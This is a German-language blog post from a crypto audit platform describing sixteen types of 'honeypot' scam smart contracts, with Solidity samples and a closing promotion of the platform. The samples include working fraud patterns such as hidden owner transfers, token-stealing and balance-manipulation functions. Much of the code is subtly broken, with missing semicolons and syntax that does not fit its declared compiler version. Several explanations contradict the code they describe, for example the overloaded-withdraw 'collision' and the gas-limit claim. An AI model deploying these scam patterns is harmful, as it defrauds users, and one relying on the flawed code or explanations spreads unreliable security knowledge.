Analise smart-contract
27.03.2024

Versteckte Fallen in Honeypot

Honeypot-Smart Contracts sind eine Art von betrügerischen Smart Contracts, die für Nutzer attraktiv aussehen und finanzielle Vorteile versprechen. Solche Verträge enthalten jedoch versteckte Fallen oder bösartigen Code, wodurch die Nutzer im Gegenteil ihr Geld verlieren.

Um sich vor Honeypot-Smart-Verträgen zu schützen, müssen Sie den Vertragscode gründlich recherchieren und überprüfen, bevor Sie sich darauf einlassen. Die Welt der intelligenten Verträge und der Blockchain entwickelt sich ständig weiter, und es tauchen regelmäßig neue Schwachstellen und Täuschungsmethoden auf. Daher ist es für Entwickler, Prüfer und Nutzer von entscheidender Bedeutung, sich über die neuesten Trends und Entwicklungen in diesem Bereich auf dem Laufenden zu halten.

Es gibt viele Beispiele für Honeypot-Smart Contracts. In diesem Artikel werden wir uns einige dieser Beispiele ansehen.

1. Fallback-Funktion Honeypot

Bei dieser Art von Honeypot verfügt der Vertrag über eine anfällige "Rollback"-Funktion, die es scheinbar jedem ermöglicht, den Vertrag zu besitzen und sein Guthaben zu löschen. Eine solche Funktion enthält jedoch eine versteckte Bedingung, die eine erfolgreiche Ausführung verhindert.

Beispiel-Code:


pragma solidity 0.4.18

contract FallbackHoneypot {
  address public owner;

  function() public payable {
      if (owner == 0) {
          owner = msg.sender;
      } else {
          revert();
      }
  }

  function withdraw() public {
      require(msg.sender == owner);
      msg.sender.transfer(this.balance);
  }
}

In diesem Beispiel erlaubt die Fallback-Funktion jedem Benutzer, Eigentümer zu werden. Der revert()-Operator stellt jedoch sicher, dass der Eigentümerwechsel nie stattfindet, so dass die Gelder des Angreifers im Vertrag gefangen bleiben.

2. Honeypot für versteckte Bedingungen

Solche Verträge enthalten eine versteckte Bedingung oder Voraussetzung, die erfüllt sein muss, damit die scheinbar anfällige Funktion erfolgreich ist. Die Benutzer denken vielleicht, dass sie den Vertrag nutzen können, aber die versteckte Bedingung stellt sicher, dass sie das nicht können.

Beispiel-Code:


pragma solidity 0.4.18

contract HiddenConditionHoneypot {
  uint256 public counter = 0;

  function deposit() public payable {
      require(msg.value == 1 ether);
      counter++;
  }

  function withdraw() public {
      require(counter > 100);
      msg.sender.transfer(this.balance);
  }
}

Bei diesem Vertrag kann der Nutzer 1 Ether einzahlen, und es scheint, dass der Nutzer nach 100 Einzahlungen den gesamten Vertragssaldo abheben kann. Die Bedingung Zähler > 100 stellt jedoch sicher, dass eine Abhebung erst nach 101 Einzahlungen möglich ist, wodurch sich die Mittel im Vertrag verzögern.

3. Reentrancy Honeypot

Bei dieser Art von Honigtopf ist der Vertrag anfällig für einen Reentrancy-Angriff, bei dem ein Angreifer eine Vertragsfunktion während des Rückzugs wiederholt aufrufen kann. Der Vertrag enthält jedoch einen versteckten Mechanismus, der eine erfolgreiche Ausnutzung verhindert.

Beispiel-Code:


pragma solidity 0.4.18

contract ReentrancyHoneypot {
  mapping(address => uint256) public balances;

  function deposit() public payable {
      balances[msg.sender] += msg.value;
  }

  function withdraw(uint256 _amount) public {
      require(balances[msg.sender] >= _amount);
      if (msg.sender.call.value(_amount)()) {
          balances[msg.sender] -= _amount;
      }
  }
}

In diesem Beispiel ist der Vertrag aufgrund der Verwendung von msg.sender.call.value(_amount)() anfällig für den Wiederholungsangriff. Der Vertrag lässt es jedoch nicht zu, dass der Benutzer mehr als den anfänglichen Betrag einzahlt, wodurch sich die Einzahlung effektiv verzögert.

reentrancy honeypot

4. Gasgrenzwert-Honigtopf

Bei dieser Art von Honigtopf scheint der Vertrag dem Nutzer die Abhebung von Geldern zu ermöglichen, aber die zur Durchführung der Abhebungsfunktion erforderliche Gasmenge übersteigt das Gasblock-Limit, so dass die Transaktion unmöglich ist.

Beispiel-Code:


pragma solidity 0.4.18

contract GasLimitHoneypot {
  uint256 constant public numArrayElements = 1000;
  uint256[numArrayElements] public someArray;

  function deposit() public payable {
      for (uint256 i = 0; i < numArrayElements; i++) {
          someArray[i] = 0;
      }
  }

  function withdraw() public {
      uint256 balance = address(this).balance;
      for (uint256 i = 0; i < numArrayElements; i++) {
          someArray[i] = 1;
      }
      msg.sender.transfer(balance);
  }

In diesem Beispiel initialisiert die Einzahlungsfunktion ein Array mit 1000 Elementen. Die Abhebungsfunktion überträgt den Vertragssaldo an den Absender, verändert aber die Array-Elemente. Das für die Ausführung der Schleife benötigte Gas übersteigt das Limit des Gasblocks, wodurch die Entnahme verhindert und im Vertrag verzögert wird.

5. Honigtopf zur Manipulation von Zeitstempeln

Bei dieser Art von Honeypot verwendet der Vertrag den Zeitstempel der Ethereum-Blockchain als Bedingung für die Ausführung. Da Miner jedoch den Blockzeitstempel manipulieren können, wird der Vertrag angreifbar.

Beispiel-Code:


pragma solidity 0.4.18

contract TimestampHoneypot {
  uint256 public lastInteraction;
  uint256 public prize;

  function deposit() public payable {
      lastInteraction = now;
      prize += msg.value;
  }

  function withdraw() public {
      require(now >= lastInteraction + 1 hours);
      msg.sender.transfer(prize);
      prize = 0;
  }
}

Bei diesem Vertrag können die Nutzer Geld einzahlen und den gesamten Vertragssaldo nach einer Stunde ab der letzten Interaktion abheben. Da Miner jedoch den Zeitstempel des Blocks manipulieren können, können sie die Abhebungsfunktion früher als erwartet auslösen und so tatsächlich Gelder stehlen.

6. Versteckter Transfer Honeypot

Bei dieser Art von Honigtopf enthält der Vertrag eine versteckte Überweisung von Geldern an die Adresse des Angreifers, die den Anschein eines legitimen Vertrags erweckt, in Wirklichkeit aber zu einem Verlust von Geldern führt.

Beispiel-Code:


pragma solidity 0.4.18
contract HiddenTransferHoneypot {
  address public owner;

  constructor() public {
      owner = msg.sender;
  }

  function deposit() public payable {
      if (msg.value >= 1 ether) {
          owner.transfer(msg.value);
      }
  }

  function withdraw() public {
      require(msg.sender == owner);
      owner.transfer(address(this).balance);
  }
}

In diesem Beispiel scheint der Vertrag Einzahlungen und Abhebungen zu erlauben. Die Einzahlungsfunktion enthält jedoch eine versteckte Überweisung von Geldern an den Eigentümer (Angreifer), wenn der Einzahlungsbetrag gleich oder größer als 1 Ether ist. Ahnungslose Benutzer, die Geld einzahlen, verlieren ihre Ether, da sie an die Adresse des Angreifers übertragen werden.

7. Reentrancy Honeypot

Der Reentrancy-Honeypot basiert auf der Ausnutzung der Reentrancy-Schwachstelle im Vertrag, bei der eine Vertragsfunktion rekursiv aufgerufen werden kann, bevor ihr Zustand aktualisiert wird.

Beispiel-Code:


pragma solidity 0.4.18

contract ReentrancyHoneypot {
  mapping(address => uint256) public balances;

  function deposit() public payable {
      balances[msg.sender] += msg.value;
  }

  function withdraw() public {
      uint256 amount = balances[msg.sender];
      (bool success,) = msg.sender.call.value(amount)("");
      require(success, "Withdrawal failed.");
      balances[msg.sender] = 0;
  }
}

In diesem Beispiel autorisiert der Vertrag Einzahlungen und Abhebungen. Er ist jedoch anfällig für Reentrancy-Angriffe. Ein Angreifer könnte einen bösartigen Vertrag erstellen, der die Abhebungsfunktion rekursiv aufruft, bevor das Guthaben auf Null gesetzt wird, wodurch das gesamte Vertragsguthaben aufgebraucht wird.

8. Typ Guss und Überlaufhonigtopf

Bei dieser Art von Honeypot nutzt der Angreifer Typkonvertierung und Integer-Überläufe, um den Benutzern vorzugaukeln, dass der Vertrag sicher ist, obwohl er in Wirklichkeit versteckte Fallen enthält.

Beispiel-Code:


pragma solidity 0.4.18

contract TypeCastingHoneypot {
  uint8 public count = 0;
  uint256 public reward = 1 ether;

  function increment() public payable {
      require(msg.value >= reward);

      uint8 prevCount = count;
      count++;

      if (count < prevCount) {
          msg.sender.transfer(address(this).balance);
      }
  }
}

In diesem Beispiel belohnt der Vertrag Benutzer, die die Zählvariable erhöhen, wenn sie einen Betrag senden, der gleich oder größer als der Belohnungsbetrag ist. Aufgrund der Verwendung von uint8 für die Zählvariable kommt es jedoch zu einem Integer-Überlauf, wenn der Wert 255 erreicht. Nach dem Überlauf wird die Zählung auf 0 zurückgesetzt, und ein Angreifer kann das gesamte Guthaben des Vertrags erhalten.

overflow honeypot

9. Delegatecall-Honeypot

Bei dieser Art von Honeypot verwendet der Angreifer die Funktion delegatecall, um im Namen eines scheinbar sicheren Vertrags bösartigen Code auszuführen.

Beispiel-Code:


pragma solidity 0.4.18

contract DelegateCallHoneypot {
  address public owner;

  constructor() public {
      owner = msg.sender;
  }

  function() external payable {}

  function withdraw() public {
      require(msg.sender == owner);
      owner.transfer(address(this).balance);
  }

  function execute(address _target, bytes memory _data) public {
      require(msg.sender == owner);
      (bool success,) = _target.delegatecall(_data);
      require(success, "Execution failed.");
  }
}

In diesem Beispiel erlaubt der Vertrag Einzahlungen, Abhebungen und die Ausführung von Code durch die Funktion execute. Ein Angreifer kann jedoch bösartigen Code erstellen, der den Zustand des Vertrags, einschließlich der Eigentümervariablen, durch Ausführen der Funktion delegatecall manipulieren kann. Durch die Änderung des Besitzers kann ein Angreifer die Kontrolle über den Vertrag erlangen und sein Guthaben leeren.

10. Honeypot zur Manipulation der versteckten Speicherung

Bei dieser Art von Honeypot manipuliert der Angreifer heimlich Speichervariablen, um Benutzer dazu zu bringen, die Kontrolle über den Vertrag zu übernehmen.

Beispiel-Code:


pragma solidity 0.4.18

contract HiddenStorageManipulation {
  mapping(address => uint256) public balances;
  uint256 public totalSupply;
  address public owner;

  constructor() public {
      owner = msg.sender;
      balances[owner] = 1000;
      totalSupply = 1000;
  }

  function transfer(address _to, uint256 _value) public {
      require(balances[msg.sender] >= _value);
      balances[msg.sender] -= _value;
      balances[_to] += _value;

      if (totalSupply - balances[owner] >= 1000) {
          owner = _to;
      }
  }
}

In diesem Beispiel sieht der Vertrag wie ein einfacher Token-Vertrag aus. Die Benutzer können sich gegenseitig Token übergeben, und der Eigentümer ist zunächst als Ersteller des Vertrags festgelegt. Ein Angreifer kann jedoch heimlich die Variablen "totalSupply" und "balances" manipulieren, um die Kontrolle über den Vertrag zu erlangen. Wenn die Differenz zwischen totalSupply und balances[owner] 1000 erreicht, wird die Variable owner aktualisiert, wodurch der Angreifer die Kontrolle über den Vertrag zurückerlangen kann.

11. Funktionsname Kollision Honigtopf

Bei dieser Art von Honigtopf verwendet der Angreifer Funktionsnamenkollisionen, um Benutzer zum Aufruf der falschen Funktion zu verleiten.

Beispiel-Code:


pragma solidity 0.4.18

contract FunctionNameCollision {
  address public owner;

  constructor() public {
      owner = msg.sender;
  }

  function withdraw() external {
      require(msg.sender == owner);
      msg.sender.transfer(address(this).balance);
  }

  function withdraw(uint256 amount) external {
      require(msg.sender == owner);
      owner.transfer(amount);
  }

  function() external payable {}
}

In diesem Beispiel hat der Vertrag zwei Entnahmefunktionen. Mit der einen kann der Eigentümer das gesamte Guthaben abheben, mit der anderen kann er einen bestimmten Betrag abheben. Wenn der Benutzer jedoch versucht, einen bestimmten Betrag abzuheben, indem er withdraw(uint256) aufruft, ruft er aufgrund einer Funktionsnamenkollision versehentlich withdraw() ohne Argumente auf, was zur Abhebung des gesamten Vertragssaldos führt.

12. Delegatecall-Schwachstelle Honeypot

Bei dieser Art von Honeypot verwendet der Angreifer delegatecall, um eine bösartige Funktion in einem anderen Vertrag auszuführen, was zum Diebstahl von Geldern der Benutzer führen kann.

Beispiel-Code:


pragma solidity 0.4.18

contract DelegatecallVulnerability {
  address public owner;

  constructor() public {
      owner = msg.sender;
  }

  function withdraw() external {
      require(msg.sender == owner);
      msg.sender.transfer(address(this).balance);
  }

  function () external payable {
      if (msg.value > 1 ether) {
          this.delegatecall(msg.data);
      }
  }
}

contract Malicious {
  function withdraw() external {
      msg.sender.transfer(address(this).balance);
  }
} 

In diesem Beispiel scheint der Vertrag harmlos zu sein, mit einer einfachen withdraw()-Funktion, die es dem Eigentümer ermöglicht, den Restbetrag des Vertrags abzuheben. Der Vertrag enthält jedoch auch eine Fallback-Funktion, die beim Empfang von mehr als 1 Äther einen Delegatecall eines anderen Vertrags unter Verwendung von msg.data ausführt. Wenn ein Angreifer einen bösartigen Vertrag mit withdraw() erstellt, der das Vertragsguthaben stiehlt und mehr als 1 Äther an den Opfervertrag sendet, führt der Delegatecall die bösartige Funktion withdraw() aus und stiehlt das Vertragsguthaben.

vulnerability honeypot

13. Pseudo-Integer-Überlauf-Honeypot

Diese Art von Honeypot basiert auf der Tatsache, dass Solidity keine eingebaute Unterstützung für Fließkommazahlen bietet. Angreifer können Verträge erstellen, die nach außen hin Dezimalzahlen verwenden, in Wirklichkeit aber ganze Zahlen betrügerisch manipulieren.

Beispiel-Code:


pragma solidity 0.4.18

contract PseudoIntegersOverflow {
  mapping(address => uint256) public balances;

  function deposit() external payable {
      require(msg.value > 0);
      uint256 pseudoValue = msg.value * 100;
      balances[msg.sender] += pseudoValue;
  }

  function withdraw(uint256 amount) external {
      uint256 pseudoAmount = amount * 100;
      require(balances[msg.sender] >= pseudoAmount);
      balances[msg.sender] -= pseudoAmount;
      msg.sender.transfer(amount);
  }
}

Dieses Beispiel erweckt den Eindruck, dass der Vertrag das Guthaben des Benutzers mit dezimaler Genauigkeit verwaltet, indem die Werte vor dem Speichern mit 100 multipliziert werden. Dieser Ansatz ist jedoch irreführend, da Solidity keine Fließkommazahlen unterstützt. Wenn der Benutzer versucht, sein Guthaben abzuheben, berechnet der Vertrag die Pseudosumme aufgrund der Ganzzahlabschneidung falsch, und der Benutzer kann möglicherweise nicht sein gesamtes Guthaben abheben.

Um sich gegen diese Art von Honeypot zu schützen, müssen Sie die Grenzen der Solidity-Sprache und den Umgang mit numerischen Operationen verstehen. Seien Sie vorsichtig, wenn Sie mit Verträgen arbeiten, die behaupten, Dezimalpräzision zu unterstützen, und überprüfen Sie den Vertragscode stets auf mögliche Probleme.

14. Versteckte Gebühren in intelligenten Verträgen

Einige bösartige intelligente Verträge können Nutzern ohne deren Wissen versteckte Zahlungen auferlegen. Solche Zahlungen können im Vertragscode getarnt sein oder nur unter bestimmten Bedingungen ausgelöst werden.

Beispiel-Code:


pragma solidity 0.4.18

contract HiddenFees {
  address public owner;
  uint256 public feePercentage;

  constructor(uint256 _feePercentage) public {
      owner = msg.sender;
      feePercentage = _feePercentage;
  }

  function withdraw(uint256 amount) external {
      uint256 fee = amount * feePercentage / 100;
      uint256 netAmount = amount - fee;
      require(address(this).balance >= netAmount);
      msg.sender.transfer(netAmount);
      owner.transfer(fee);
  }
}

In diesem Beispiel legt der Vertragsersteller eine Gebühr (feePercentage) fest, wenn er den Vertrag bereitstellt. Bei der Interaktion mit dem Vertrag sind sich die Nutzer dieser Gebühr möglicherweise nicht bewusst. Wenn ein Nutzer sein Geld abhebt, berechnet der Vertrag die Gebühr, zieht sie vom Abhebungsbetrag ab und sendet den Restbetrag an den Nutzer. Die Provision wird dann an den Vertragseigentümer überwiesen.

Damit Sie nicht in diese Falle tappen, sollten Sie den Vertragskodex sorgfältig prüfen und sicherstellen, dass Sie alle damit verbundenen Gebühren verstehen. Achten Sie auf versteckte oder verdeckte Abrechnungen.

15. Verborgene Zustandsmanipulation

In einigen Fällen können böswillige Verträge es dem Vertragseigentümer oder einem Angreifer ermöglichen, den internen Zustand des Vertrags zu manipulieren, was zu unerwarteten Konsequenzen für andere Nutzer führt.

Beispiel-Code:


pragma solidity 0.4.18

contract HiddenStateManipulation {
  address public owner;
  mapping(address => uint256) public balances;

  constructor() public {
      owner = msg.sender;
  }

  function deposit() external payable {
      balances[msg.sender] += msg.value;
  }

  function withdraw(uint256 amount) external {
      require(balances[msg.sender] >= amount);
      msg.sender.transfer(amount);
      balances[msg.sender] -= amount;
  }

  function manipulateBalance(address user, uint256 newBalance) external {
      require(msg.sender == owner);
      balances[user] = newBalance;
  }
}

In diesem Beispiel erlaubt der Vertrag den Benutzern, Geld einzuzahlen und abzuheben. Die Funktion manipulateBalance erlaubt es dem Vertragseigentümer jedoch, den Kontostand eines jeden Nutzers willkürlich zu ändern. Dies kann zu unerwarteten Verlusten für die Nutzer führen oder dem Vertragseigentümer ermöglichen, Gelder zu stehlen.

Der Vertragskodex sollte auf Merkmale untersucht werden, die eine Manipulation des Zustands ermöglichen, insbesondere wenn nur der Vertragseigentümer oder bestimmte Adressen Zugang zu ihnen haben.

hidden state manipulation

16. Versteckter Token-Diebstahl

In einigen Fällen können bösartige Verträge versteckte Funktionen enthalten, die es dem Vertragseigentümer oder Angreifer ermöglichen, Token von ahnungslosen Benutzern zu stehlen.

Beispiel-Code:


pragma solidity 0.4.18

contract HiddenTokenStealing {
  address public owner;
  mapping(address => uint256) public balances;

  constructor() public {
      owner = msg.sender;
  }

  function deposit(IERC20 token, uint256 amount) external {
      require(token.transferFrom(msg.sender, address(this), amount));
      balances[msg.sender] += amount;
  }

  function withdraw(IERC20 token, uint256 amount) external {
      require(balances[msg.sender] >= amount);
      require(token.transfer(msg.sender, amount));
      balances[msg.sender] -= amount;
  }

  function stealTokens(IERC20 token, address user, uint256 amount) external {
      require(msg.sender == owner);
      require(token.transfer(owner, amount));
      balances[user] -= amount;
  }
}

In diesem Beispiel erlaubt der Vertrag den Nutzern, ERC20-Tokens einzuzahlen und abzuheben. Die Funktion stealTokens ermöglicht es dem Vertragseigentümer jedoch, Token von jedem Nutzer zu stehlen.

Schlussfolgerung:

Honeypot ist nur eine der vielen betrügerischen Machenschaften bei DeFi, die nicht nur die Abhebungsbeschränkung, sondern auch die verschiedenen oben beschriebenen versteckten Fallen ausnutzen.

Um nicht auf den Köder hereinzufallen, müssen Sie die Besonderheiten des betrügerischen Schemas und die Feinheiten der Solidity-Programmiersprache verstehen und Smart Contracts gründlich studieren, bevor Sie mit ihnen interagieren.

Indem Sie sich informieren und eine gründliche Due-Diligence-Prüfung durchführen, können Sie die mit dem Einsatz von Smart Contracts verbundenen Risiken minimieren.

 

Wenn Sie Zweifel an der Sicherheit oder Funktionalität eines Smart Contracts haben, nutzen Sie unsere Lotus Market-Plattform.

 

 

Die Lotus Market-Plattform wurde von einem Team erfahrener Entwickler und professioneller Prüfer entwickelt. Das Ziel des Projekts ist es, die Risiken von Investitionen in betrügerische Token zu minimieren und den sicheren und bequemen Handel mit Kryptowährungen zu ermöglichen.

 

Mit freundlichen Grüßen, Lotus Market Team.

All posts

Connect to a wallet

Metamask